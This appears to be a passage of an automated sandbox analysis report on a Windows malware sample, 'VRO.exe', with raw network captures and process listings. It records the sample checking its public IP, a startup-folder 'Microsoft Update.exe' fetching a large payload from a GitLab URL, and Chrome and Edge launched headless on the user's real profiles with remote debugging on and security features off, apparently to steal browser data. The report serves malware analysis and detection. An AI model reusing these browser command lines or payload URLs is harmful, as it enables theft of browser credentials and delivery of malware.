2025-01-14 12:30:36 UTC	1369	IN	Data Raw: 83 c3 18 41 83 fa 50 72 c9 48 8b 7c 24 10 b8 0c 00 00 00 5b c3 4b 8d 0c 52 48 8b 44 cf 10 48 85 c0 75 0a 48 8b 44 cf 08 48 89 44 cf 10 48 85 db 48 0f 44 d8 33 c0 48 89 5c cf 08 48 8b 7c 24 10 5b c3 48 89 5c 24 08 48 8d 1d 34 a5 19 00 4c 8b da 4c 8b d3 45 33 c9 66 66 66 0f 1f 84 00 00 00 00 00 4d 8b 02 49 8b c3 4d 2b c3 0f 1f 80 00 00 00 00 0f b6 10 42 0f b6 0c 00 2b d1 75 07 48 ff c0 85 c9 75 ed 85 d2 74 15 41 ff c1 49 83 c2 18 41 83 f9 50 72 cc 33 c0 48 8b 5c 24 08 c3 4b 8d 04 49 48 8b 44 c3 08 48 8b 5c 24 08 c3 cc cc cc cc cc 40 57 48 8d 3d c7 a4 19 00 4c 8b da 41 b8 ff ff ff ff 48 85 d2 74 51 48 89 5c 24 10 45 33 c0 48 8d 1d 12 ac 19 00 4c 8b d7 0f 1f 80 00 00 00 00 4d 8b 0a 49 8b c3 4d 2b cb 0f 1f 80 00 00 00 00 0f b6 10 42 0f b6 0c 08 2b d1 75 07 48 Data Ascii: APrH\|$[KRHDHuHDHDHHD3H\H\|$[H\$H4LLE3fffMIM+B+uHutAIAPr3H\$KIHDH\$@WH=LAHtQH\$E3HLMIM+B+uH
2025-01-14 12:30:36 UTC	1369	IN	Data Raw: 48 8b 8e 88 00 00 00 e8 ed 6d 01 00 48 8b 8e 88 00 00 00 8b d8 e8 9f 80 01 00 83 fb 64 44 8b e0 48 8d 1d 02 d0 ff ff 75 20 48 8b 46 18 0f b6 48 6c 80 bc 19 f3 9c 16 00 05 48 8b ce 75 18 48 8b d7 e8 c3 c6 0a 00 44 8b e0 41 b8 01 00 00 00 44 89 44 24 20 eb 11 33 d2 e8 2c c4 0a 00 e9 5a 03 00 00 48 8b 7c 24 40 49 8b 0f 0f b7 51 14 8b c2 83 e0 3f 80 bc 18 30 9b 16 00 05 74 5f 0f b7 c2 a8 24 74 05 4c 8b 29 eb 40 a8 08 74 25 f2 0f 10 01 66 44 0f 2f d8 77 31 66 41 0f 2f c2 76 0c 49 bd ff ff ff ff ff ff ff 7f eb 1e f2 4c 0f 2c e8 eb 17 a8 12 74 10 48 39 69 08 74 0a e8 38 84 09 00 4c 8b e8 eb 03 4c 8b ed 49 8b d5 48 8b ce e8 35 c6 0a 00 44 8b 44 24 20 44 8b e0 45 85 e4 0f 85 da 02 00 00 41 83 fe 01 0f 8e d0 02 00 00 48 89 6c 24 28 45 85 c0 0f 85 87 00 00 00 48 8b Data Ascii: HmHdDHu HFHlHuHDADD$ 3,ZH\|$@IQ?0t_$tL)@t%fD/w1fA/vIL,tH9it8LLIH5DD$ DEAHl$(EH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	50018	172.67.74.152	443	6948	C:\Users\user\Desktop\VRO.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 12:30:38 UTC	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
2025-01-14 12:30:39 UTC	424	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:30:39 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 901da375da3543c9-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2249&min_rtt=2231&rtt_var=874&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=677&delivery_rate=1226375&cwnd=232&unsent_bytes=0&cid=36b4bad9a3384f80&ts=137&x=0"
2025-01-14 12:30:39 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	50019	172.67.74.152	443	6948	C:\Users\user\Desktop\VRO.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 12:30:39 UTC	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
2025-01-14 12:30:39 UTC	424	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:30:39 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 901da379bfbc8c63-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1931&min_rtt=1929&rtt_var=728&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=677&delivery_rate=1498973&cwnd=228&unsent_bytes=0&cid=0ea5dacea2a15ae7&ts=166&x=0"
2025-01-14 12:30:39 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	50021	172.67.74.152	443	6948	C:\Users\user\Desktop\VRO.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 12:30:40 UTC	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
2025-01-14 12:30:40 UTC	424	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:30:40 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 901da380fbbf42e5-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1673&min_rtt=1635&rtt_var=640&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=677&delivery_rate=1785932&cwnd=221&unsent_bytes=0&cid=b5557ad07b3f6e25&ts=147&x=0"
2025-01-14 12:30:40 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	50022	172.67.74.152	443	6948	C:\Users\user\Desktop\VRO.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 12:30:41 UTC	39	OUT	GET / HTTP/1.1 Host: api.ipify.org
2025-01-14 12:30:41 UTC	424	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:30:41 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 901da384cfa1ef9d-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1953&min_rtt=1946&rtt_var=743&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=677&delivery_rate=1458541&cwnd=156&unsent_bytes=0&cid=bfabe2e4ca0130ef&ts=139&x=0"
2025-01-14 12:30:41 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50024	172.65.251.78	443	2300	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 12:30:53 UTC	167	OUT	GET /hko247.black/truong/-/raw/main/svchost.hko?inline=false%06%06%06%06%06%06 HTTP/1.1 Connection: Keep-Alive User-Agent: CustomDownloader/1.0 Host: gitlab.com
2025-01-14 12:30:53 UTC	445	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:30:53 GMT Content-Type: application/octet-stream Content-Length: 26325520 Connection: close CF-Ray: 901da3cffe630cb8-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Cache-Control: max-age=60, public, must-revalidate, stale-while-revalidate=60, stale-if-error=300, s-maxage=60 Content-Disposition: attachment ETag: "008d38021a6d8a06b6abbee841124bc2" Strict-Transport-Security: max-age=31536000
2025-01-14 12:30:53 UTC	2134	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
2025-01-14 12:30:53 UTC	498	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 30 4d 6a 72 63 66 50 6f 58 6e 46 52 79 31 6e 4a 4f 47 7a 4a 78 66 55 6c 72 77 31 37 33 31 32 4f 64 53 35 65 58 58 46 4a 38 74 63 53 7a 72 32 33 50 52 76 61 63 25 32 42 42 74 53 33 50 43 72 49 51 70 4f 6b 59 4e 53 63 6c 25 32 46 58 58 53 64 33 61 51 44 66 62 59 6b 34 74 76 71 54 6a 50 68 55 4d 44 50 63 6c 39 77 76 37 34 46 52 57 53 38 64 7a 55 42 76 73 75 33 4f 67 59 37 64 68 6f 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0MjrcfPoXnFRy1nJOGzJxfUlrw17312OdS5eXXFJ8tcSzr23PRvac%2BBtS3PCrIQpOkYNScl%2FXXSd3aQDfbYk4tvqTjPhUMDPcl9wv74FRWS8dzUBvsu3OgY7dho%3D"}],"group":"cf-nel","max_age":604800}NEL: {"
2025-01-14 12:30:53 UTC	1030	IN	Data Raw: c8 47 24 4b c2 6d 90 e9 26 f8 83 44 57 cc 64 e1 8d ef 93 ba 1b 73 7f 15 3c 7e af 9b 75 2f 5d 17 34 e2 e6 20 ae 2e 2a 22 5e 79 8d 1f 23 0e 3e 0c df 1c d8 fc d1 c6 75 a9 2b cf 39 ee 0c 48 61 6c 8f cd 9e 0d 94 25 ed a4 ad 64 7c 80 a9 4f 2a 5f 1a 6d 35 2e 2a 4b 83 bf 04 41 78 9e b6 f3 ba 9e e4 7b 07 b4 de cb b0 4d 43 f6 1f 83 5f ca fb c4 4f 53 4b b3 b9 18 f7 db 50 af c4 68 03 65 4d 8e ac 4a 55 57 fa c9 3a e1 de 14 f5 58 1a 55 b7 5d 97 11 21 ff e0 ed 88 1f 32 e1 31 f9 03 97 89 ed a2 03 f7 0e 21 40 e4 a0 61 d6 4a d5 02 44 5c ee 60 1d ae 20 ab 4c 80 1d 9e 8b 5c 63 bf 0b 93 04 a6 4e b7 7c 14 8c 97 7c 7b c6 2a 23 c6 9f a5 a9 4d f9 fe b2 21 4f 1a df f5 d3 23 09 35 32 87 d7 71 d4 3a 52 7a c4 2c e8 6d 9a 1d d9 81 57 7a c4 28 f1 9b 67 e0 12 2d 75 8b d3 f1 d3 e1 c7 e1 Data Ascii: G$Km&DWds<~u/]4 ."^y#>u+9Hal%d\|O_m5.KAx{MC_OSKPheMJUW:XU]!21!@aJD\` L\cN\|\|{#M!O#52q:Rz,mWz(g-u
2025-01-14 12:30:53 UTC	1369	IN	Data Raw: d5 16 e1 d6 91 35 f1 d2 94 d9 f4 fc 40 f9 f8 93 ec a6 24 ae c8 41 ef e8 4c 14 fd 39 60 7b f7 c5 87 08 a3 96 f3 fe ed 97 78 3f 2c 21 a5 69 ae 9d 8f 49 fe f0 99 f8 16 f9 df a0 9d c1 74 db 0e dd 0e d4 59 06 24 b3 fa f2 38 74 f4 25 f6 26 a6 91 86 39 f3 75 33 d4 66 43 77 f3 d5 49 36 03 18 1e e8 bb fc 18 8f 23 ee d8 da 46 b2 42 68 0d 9f e4 76 31 82 6e 37 8b 28 10 5f d1 f8 30 fa af 7c af 60 93 77 d6 e2 91 fc 8b 11 2f 23 18 2d 02 10 4d 40 5e 2a 18 fc a7 ee 84 d9 5b 65 63 84 81 bc 7c 13 21 06 5b 54 e9 eb 55 df 0c cf 25 2b 10 65 4b ec b0 de df 3d 03 fe 84 0b 44 a3 72 f2 13 56 91 f6 ef d6 a8 96 94 8e 3c d9 26 90 06 1f 50 03 81 b5 cb b6 3e 97 36 47 18 d6 4e bd 93 3d 37 7a 58 92 4c 99 8f c3 72 2f e1 5d 56 94 47 27 a7 96 40 bc 69 44 9e 7a b0 1c ee c9 40 b2 22 f1 07 3c Data Ascii: 5@$AL9`{x?,!iItY$8t%&9u3fCwI6#FBhv1n7(_0\|`w/#-M@^*[ec\|![TU%+eK=DrV<&P>6GN=7zXLr/]VG'@iDz@"<
2025-01-14 12:30:53 UTC	1369	IN	Data Raw: 7f 5c 91 fa 47 2e 02 6e aa f0 c4 81 c9 10 29 82 3f 00 98 7d dc 7d 35 e7 6c fa 0b 84 6e da 74 b0 31 9c f7 b9 57 b3 94 49 cd a5 2e f6 46 cb a1 99 f5 1d 05 5c 20 2d 57 c0 93 55 6f 41 c1 cd 18 83 70 ab 0e 99 99 f0 d6 ba 14 fe fc 53 58 2d fa 34 74 1c dd 74 60 10 9e 25 62 f7 8a 77 0c a8 d1 e7 9c c5 ed b6 dc 17 56 33 a6 d7 f9 bc 38 68 f2 db 0c 09 40 89 eb 60 eb 65 a5 1d a0 8d b7 9d 7a 47 72 59 0b e7 dd 4e 54 74 e1 c0 a5 8d 8d e0 0d 34 7e f5 e3 7c cd df e2 13 93 da f0 0c da b7 96 27 4e 7a 1b ea a1 02 b6 db 52 47 ff de 5e e6 c0 0e 5e 76 56 c4 72 ae 48 28 eb dd 2d b9 42 b9 4c 2f 35 81 4d 02 ef cb d1 dc c5 02 ae a8 1c 6c 70 d7 12 e6 ca 3a 01 21 e0 d7 cd 2f 18 8d c4 c6 70 c0 48 f0 27 fe 72 ab 7d 82 78 33 cf 78 dd 85 67 09 fe 85 64 63 be 8c e4 4b 6b 4b f5 ce b4 e4 22 Data Ascii: \G.n)?}}5lnt1WI.F\ -WUoApSX-4tt`%bwV38h@`ezGrYNTt4~\|'NzRG^^vVrH(-BL/5Mlp:!/pH'r}x3xgdcKkK"
2025-01-14 12:30:53 UTC	1369	IN	Data Raw: 6e e7 a4 96 f5 6a a9 59 8a 3c c4 80 6d 54 4b 60 a6 bc 04 05 ca be 8d 5c 52 8f e4 03 54 ca 5a 64 30 07 2e 98 46 7f 12 0d b2 6a 14 ca a3 79 47 16 7a fc d6 21 84 78 94 2e 70 0a 36 3f d8 e7 4a 82 c5 26 81 8e 0c f5 7b 83 62 77 b5 27 c5 52 b1 7b c4 e1 0c ed 84 cd cc b5 e6 ba 2a 13 3b 4e 3b 70 e3 a2 08 52 15 3a 1d 4e 34 56 c3 01 2a 2c 2c 0c d0 d2 cd e1 33 15 3a c0 f0 7f a8 09 a5 42 b7 65 b3 42 e4 8f 0e 8e eb ff 6e c5 0f 2e d7 26 18 1a 60 15 f5 f9 93 72 62 2e 0b ba ab 2b 86 d9 3f 48 97 63 b3 37 57 2b bc 1d a8 91 60 ef f4 55 28 bf 3c d9 92 92 91 64 a7 7b 0e cf ad 06 f2 ac 25 da 09 bb 93 ad 59 c8 ec c4 bb 39 ca aa 21 51 43 09 ec dd 0b 4b 6e eb a0 f4 73 ad 78 45 28 e2 6f 5b 36 a2 4a 7e 67 05 e3 92 08 26 e8 f7 32 a2 e4 48 1e 83 7c b4 78 ab 53 ad 22 da 64 44 f7 f0 48 Data Ascii: njY<mTK`\RTZd0.FjyGz!x.p6?J&{bw'R{;N;pR:N4V,,3:BeBn.&`rb.+?Hc7W+`U(<d{%Y9!QCKnsxE(o[6J~g&2H\|xS"dDH
2025-01-14 12:30:53 UTC	1369	IN	Data Raw: fc 88 5f b5 98 09 4c 65 d7 60 7f 20 f4 dd cf c4 0c bb a0 41 26 35 1f 3b 21 bb 6d 9a 87 e2 ed 5f 69 82 19 10 a9 8c 17 6a 41 cb 27 f1 c2 d9 fc 39 2c 88 41 ff eb 25 83 83 58 67 e3 c9 ed d7 c2 0e ff a9 bd 15 ca c4 59 62 92 3b 29 4f fd 17 ad 19 9c e8 94 5c 98 4f b5 5c ef e9 b1 d0 77 68 d2 89 d0 08 08 aa 3c 82 60 45 0a 5b 91 c5 83 76 0d bf 59 fa ae 80 27 0a c3 94 8e b1 f8 13 47 e2 aa 31 f0 11 76 a9 63 8d 51 06 7a 5b 9e 0b 2a d8 3f ab ad 2e 96 b0 4a c8 00 5f 89 78 7b 45 aa a3 ad 14 76 e6 2e 59 03 4f 95 b1 94 e0 70 59 72 4b fb b4 a2 6c c5 91 f8 c9 2b 9a ca 61 9b 73 cc 1e a5 32 fa 5b 0f 47 3a 49 8a d7 ff 63 d8 b9 26 34 1f 3c e9 89 d9 85 01 4a 51 8f e8 cc 9b ae e3 2b 62 46 c9 5b 38 6f 97 4f a4 9e 03 7f 17 59 82 4b 16 54 26 a4 a3 6b a2 f4 75 22 12 a2 fe 14 da 91 0e Data Ascii: _Le` A&5;!m_ijA'9,A%XgYb;)O\O\wh<`E[vY'G1vcQz[*?.J_x{Ev.YOpYrKl+as2[G:Ic&4<JQ+bF[8oOYKT&ku"
2025-01-14 12:30:53 UTC	1369	IN	Data Raw: 3a 99 02 24 bc a0 cb 6b 7c c2 d7 f8 f3 82 7d c1 b2 40 41 b8 64 b3 3c 1d f0 b4 e0 b2 31 9d b2 cc cb e0 50 ab d6 17 4a d0 02 ad 83 d3 91 26 a7 71 e1 b1 d7 7f 28 96 67 13 b9 5d 56 78 32 2a 3f 03 15 cc 58 00 cc 02 7c 7e c1 21 12 3e b5 e3 84 68 32 df 65 c2 6c a0 24 19 13 0f fb 14 30 27 c3 56 70 a0 be 85 18 39 50 8d 95 66 59 99 ff 0a 51 24 16 af e2 ba 9d 76 f3 8c 92 df 92 4d 90 4d 03 fd 29 48 73 2d 88 11 cf 57 64 a5 bf 2e 72 ac 38 87 68 a4 bc 98 03 a7 ed d2 7e 04 7f c2 f8 9f 50 a8 04 5e 4a 42 88 93 74 b5 d2 07 80 fc 4b f5 47 11 1e 25 97 57 52 ef 36 f8 0b 88 59 e8 48 20 f9 f2 99 64 27 f1 07 b9 c3 89 7e 71 43 06 ca 03 3d fb 3d a0 b5 b2 c9 1b 32 db 8a 77 77 7b 42 38 cd 2e 2f 17 a2 a9 2e fa 89 67 11 7d 67 7c b7 eb 15 cf 5b fe 96 c8 1f 59 e1 7c d3 93 2b 0c 7f 5f 4d Data Ascii: :$k\|}@Ad<1PJ&q(g]Vx2*?X\|~!>h2el$0'Vp9PfYQ$vMM)Hs-Wd.r8h~P^JBtKG%WR6YH d'~qC==2ww{B8./.g}g\|[Y\|+_M
2025-01-14 12:30:53 UTC	1369	IN	Data Raw: 99 df 82 4d 79 28 bb 0b e5 d4 ae 59 b3 a2 0d 80 a2 4b da 2a f3 bb 75 8e fe b1 0a d8 f3 d3 d4 f3 cd bf 98 c6 b2 01 f8 a5 7d c9 34 90 76 39 a4 ce c8 ab 8d bd 64 b1 5a cc 52 b3 59 0c 30 8e 8f 0e 9d d6 f3 53 1f 94 aa 95 5d 84 08 a4 63 8e ec ae 42 0a e9 51 3e 88 64 21 bc a1 71 15 d1 c7 d0 97 f8 a4 92 ff b8 6c d5 26 17 7c a0 b4 68 47 5b af 7e 5a 53 cd fa 45 a4 77 8c 14 ae b6 49 12 6f 77 44 c6 c5 81 96 64 4a e7 1f d1 b7 33 81 3d 6d 68 90 aa a4 0e 8e d9 cf 7c 1e 75 2c 55 80 b3 d6 c9 10 96 1c c2 73 cb 91 a6 cf 5b 67 d6 aa e5 81 a1 c8 33 25 7a 57 73 2a b6 72 d6 be 1f aa ad 3c f7 e3 b7 24 c0 00 7c 27 7f 44 24 1c 5a a9 d8 69 ed 9e ec 96 0f be f7 8d 16 1c 38 fe da 8b 16 b0 8e 82 33 58 f8 7e 54 00 da ab 02 7f f4 7b 50 01 6e ee 96 be 5d 26 0f e3 1a cd 36 bc 8f 44 29 b0 Data Ascii: My(YKu}4v9dZRY0S]cBQ>d!ql&\|hG[~ZSEwIowDdJ3=mh\|u,Us[g3%zWsr<$\|'D$Zi83X~T{Pn]&6D)
2025-01-14 12:30:53 UTC	1369	IN	Data Raw: 78 85 72 17 3f ec 0e 84 da 4c 04 f3 3a 45 11 4b a7 49 6d a9 b3 a4 c8 ed ff 3d 00 53 fd 57 0f c4 bb 21 f7 ad 84 cc 05 84 7d 43 e3 55 d0 d8 e1 7d 9a 41 3d 57 31 fa db 2e 56 a8 db b4 85 25 d9 06 5e 4a 0a fa dd e7 d2 47 69 cd ff 32 d7 f7 d9 de fd 5f 65 44 2b 3c f0 81 ad 7d 62 76 8e 04 4d 98 a0 5b d1 45 0f 57 33 5d c9 2a 08 f1 17 a6 5e bd 91 1a 70 7d 5d 46 83 3e 8b 4a f1 87 0e 37 40 2e 7d d3 bc 21 7b eb 7b 89 bb 40 8a 8d 76 da 2b 91 ce 74 f7 c0 10 26 29 50 df 83 0f c8 77 ba a0 d3 56 ae 26 88 86 9a 46 fc a7 61 f7 cc 4e d2 d6 85 87 33 26 14 1e 1c 66 de 2a a2 1e 7c 78 30 a1 0a 32 81 69 d4 12 31 81 87 4b ef f8 6d 98 1f 3a 47 cf e7 af 20 9d 51 6c 62 fb af e0 64 56 bd 9c cd 40 40 54 51 49 35 7c a8 33 21 03 d2 1e 7c 5b e0 ab 43 55 3b dc 95 59 0c b6 64 17 8e 81 02 20 Data Ascii: xr?L:EKIm=SW!}CU}A=W1.V%^JGi2_eD+<}bvM[EW3]^p}]F>J7@.}!{{@v+t&)PwV&FaN3&f\|x02i1Km:G QlbdV@@TQI5\|3!\|[CU;Yd

Target ID:	0
Start time:	07:28:34
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\VRO.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\VRO.exe"
Imagebase:	0x7ff6a7290000
File size:	337'920 bytes
MD5 hash:	27A4EE022E76538E095FD1A9C5B7F615
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:28:55
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9562 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:28:56
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1656 --field-trial-handle=1488,i,16314425066531469225,11487421287566964824,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:29:20
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9992 --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:29:20
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1604 --field-trial-handle=1416,i,9921731140801761546,7408010498993882837,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:29:45
Start date:	14/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9651 --user-data-dir="C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --disable-popup-blocking --disable-extensions --disable-gpu --disable-software-rasterizer --disable-dev-shm-usage --no-sandbox --disable-logging --disable-web-security --allow-running-insecure-content --ignore-certificate-errors --disable-features=IsolateOrigins,site-per-process --disable-blink-features=AutomationControlled --disable-background-networking --disable-default-apps --disable-hang-monitor --disable-sync --disable-client-side-phishing-detection --disable-background-timer-throttling --disable-renderer-backgrounding --disable-backgrounding-occluded-windows --disable-ipc-flooding-protection --mute-audio --window-size=1280,720 --window-position=-3000,-3000 --headless
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:29:45
Start date:	14/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --ignore-certificate-errors --use-angle=swiftshader-webgl --use-gl=angle --mute-audio --ignore-certificate-errors --headless --disable-logging --mojo-platform-channel-handle=1404 --field-trial-handle=1460,i,10255789939080052098,10160627402443088733,262144 --disable-features=IsolateOrigins,PaintHolding,site-per-process /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:30:10
Start date:	14/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
